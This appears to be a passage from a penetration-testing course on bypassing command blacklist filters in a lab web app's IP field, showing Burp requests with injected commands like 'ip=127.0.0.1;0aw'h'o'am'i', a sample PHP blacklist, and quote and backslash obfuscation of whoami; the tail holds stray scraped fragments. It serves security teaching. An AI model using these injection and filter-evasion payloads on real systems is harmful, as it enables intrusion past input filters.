

## Bypassing Blacklisted Commands

We have discussed various methods for bypassing single-character filters. However, there are different methods when it comes to bypassing blacklisted commands. A command blacklist usually consists of a set of words, and if we can obfuscate our commands and make them look different, we may be able to bypass the filters.

There are various methods of command obfuscation that vary in complexity, as we will touch upon later with command obfuscation tools. We will cover a few basic techniques that may enable us to change the look of our command to bypass filters manually.

### Commands Blacklist

We have so far successfully bypassed the character filter for the space and semi-colon characters in our payload. So, let us go back to our very first payload and re-add the `whoami` command to see if it gets executed:

Request		Response	
Pretty	Raw	Pretty	Raw
1 POST / HTTP/1.1		16	
2 Host: 127.0.0.1		17	</head>
3 Content-Length: 21		18	
4 Cache-Control: max-age=0		19	<body>
5 sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"		20	<div class="main">
6 sec-ch-ua-mobile: 0		21	<div>
7 Upgrade-Insecure-Requests: 1		22	Bot Checker
8 Origin: http://127.0.0.1		23	<label>
9 Content-Type: application/x-www-form-urlencoded		24	<form method="post" action="">
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36		25	<input type="text" name="ip" placeholder="127.0.0.1">
11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9		26	<button type="submit">
12 Sec-Fetch-Site: same-origin		27	Check
13 Sec-Fetch-Mode: navigate		28	</form>
14 Sec-Fetch-User: ?1		29	<pre>
15 Sec-Fetch-Dest: document		30	Invalid input
16 Referer: http://127.0.0.1/		31	</pre>
17 Accept-Encoding: gzip, deflate		32	</p>
18 Accept-Language: en-US,en;q=0.9			
19 Connection: close			
20			
21 ip=127.0.0.1;0awhoami			

We see that even though we used characters that are not blocked by the web application, the request gets blocked again once we added our command. This is likely due to another type of filter, which is a command blacklist filter.

A basic command blacklist filter in `PHP` would look like the following:

```
Code: php

$blacklist = ['whoami', 'cat', ...SNIP...];
foreach ($blacklist as $word) {
    if (strpos($_POST['ip'], $word) !== false) {
        echo "Invalid input";
    }
}
```

As we can see, it is checking each word of the user input to see if it matches any of the blacklisted words. However, this code is looking for an exact match of the provided command, so if we send a slightly different command, it may not get blocked. Luckily, we can utilize various obfuscation techniques that will execute our command without using the exact command word.

### Linux & Windows

One very common and easy obfuscation technique is inserting certain characters within our command that are usually ignored by command shells like `Bash` or `PowerShell` and will execute the same command as if they were not there. Some of these characters are a single-quote `'` and a double-quote `"`, in addition to a few others.

The easiest to use are quotes, and they work on both Linux and Windows servers. For example, if we want to obfuscate the `whoami` command, we can insert single quotes between its characters, as follows:

Bypassing Blacklisted Commands	
21y4d@htb[/htb]\$ w'h'o'am'i	
21y4d	

The same works with double-quotes as well:

Bypassing Blacklisted Commands	
21y4d@htb[/htb]\$ w"h'o"am"i	
21y4d	

The important things to remember are that we cannot mix types of quotes and the number of quotes must be even. We can try one of the above in our payload (`127.0.0.1;0aw'h'o'am'i`) and see if it works:

### Burp POST Request

Request		Response	
Pretty	Raw	Pretty	Raw
1 POST / HTTP/1.1		22	Bot Checker
2 Host: 127.0.0.1		23	</div>
3 Content-Length: 25		24	<form method="post" action="">
4 Cache-Control: max-age=0		25	<label>
5 sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"		26	Enter an IP Address
6 sec-ch-ua-mobile: 0		27	</label>
7 Upgrade-Insecure-Requests: 1		28	<input type="text" name="ip" placeholder="127.0.0.1" pattern="">
8 Origin: http://127.0.0.1		29	<button type="submit">
9 Content-Type: application/x-www-form-urlencoded		30	Check
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36		31	</button>
11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9		32	
12 Sec-Fetch-Site: same-origin			
13 Sec-Fetch-Mode: navigate			
14 Sec-Fetch-User: ?1			
15 Sec-Fetch-Dest: document			
16 Referer: http://127.0.0.1/			
17 Accept-Encoding: gzip, deflate			
18 Accept-Language: en-US,en;q=0.9			
19 Connection: close			
20			
21 ip=127.0.0.1;0aw'h'o'am'i			

1

1

1

1

who\$ami  
w\ho\am\i

1

1

1

1

1

1

1

1

1

